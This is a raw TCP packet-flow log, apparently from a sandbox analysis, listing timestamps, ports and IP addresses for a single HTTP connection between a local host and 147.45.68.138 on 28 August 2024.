Aug 28, 2024 22:55:53.043948889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.068552017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068572998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068583965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068603039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068614960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.068624973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068629980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.068638086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068651915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.068651915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068664074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.068667889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.068694115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088403940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088417053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088440895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088453054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088453054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088468075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088468075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088486910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088486910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088507891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088530064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088673115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088696957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088706970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088715076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088722944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088728905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088738918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088742971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088757038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088761091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088767052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088777065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088778019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088788986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088792086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088799953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088809013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088809967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088824034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088834047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088835955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088850975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088862896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088893890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088905096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088915110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088931084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088949919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.088973999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088984966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.088994026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089010000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089030981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089055061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089063883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089075089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089091063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089111090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089315891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089358091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089396954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089432955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089432955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089443922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089468956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089479923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089531898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089543104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089564085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089572906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089575052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089586973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089598894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089620113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089720964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089756966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089778900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089790106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089816093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089827061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089860916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089870930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089880943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089894056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.089900970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089926004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.089977980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090013027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.090481043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090492964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090503931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090514898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090523958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.090534925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090544939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090547085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.090557098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.090563059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.090583086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.090596914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.090960026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.091001034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104325056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104335070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104341984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104387999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104568005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104578018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104589939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104613066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104625940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104693890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104705095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104716063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104727030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104731083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104738951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104756117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104768038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104779005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104789019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104799986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104809999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.104816914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.104837894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116246939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116256952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116267920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116286039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116298914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116301060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116314888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116321087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116332054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116339922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116367102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116394997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116406918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116416931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116426945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116427898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116440058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116453886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116455078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116465092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.116476059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.116498947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122734070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122750044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122761011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122778893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122788906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122787952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122798920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122811079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122818947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122827053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122848034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122869968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122901917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122912884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122922897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122936964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122942924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122950077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.122956038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.122981071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.123086929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.123121023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.128376961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128387928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128397942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128424883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.128441095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.128452063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128463030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128473997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128488064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.128495932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.128499985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.128524065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130603075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130661011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130678892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130687952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130712032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130724907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130736113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130743027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130753040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130755901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130764008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130772114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130784035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.130786896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130803108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.130815029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.155520916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155531883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155541897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155621052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.155636072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155647039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155658007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155668974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155669928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.155690908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.155714035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.155734062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.155764103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175275087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175302029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175312042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175355911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175357103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175369024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175384045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175389051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175396919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175409079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175420046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175435066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175450087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175455093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175482988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175497055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175508976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175520897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175528049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175540924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175554991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175565004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175595999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175607920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175621033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175640106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175651073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175678968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175771952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175785065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175803900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175825119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175910950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175924063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175935984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.175942898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175961018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.175968885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176012039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176043987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176215887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176248074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176327944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176337957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176352978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176362038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176367044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176374912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176382065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176384926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176393986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176403046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176410913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176417112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176431894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176444054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176493883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176506042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176517963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176526070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176537991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176553011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176619053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176630020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176649094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176650047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176661015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176661968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176672935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.176677942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176692009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.176703930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.177618027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177629948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177642107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177661896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.177678108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.177684069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177702904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177712917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.177715063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177725077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.177726984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.177745104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.177757978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191493034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191498995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191576004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191606045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191617966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191627979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191638947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191643000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191663980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191668987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191679955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191692114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191692114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191701889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191714048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191718102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191729069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191734076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191759109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191792965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191808939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191819906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191823959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191833019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191843987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191850901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191863060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191874027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191875935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191888094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191888094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.191898108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.191919088 CEST	49731	80	192.168.2.7	147.45.68.138
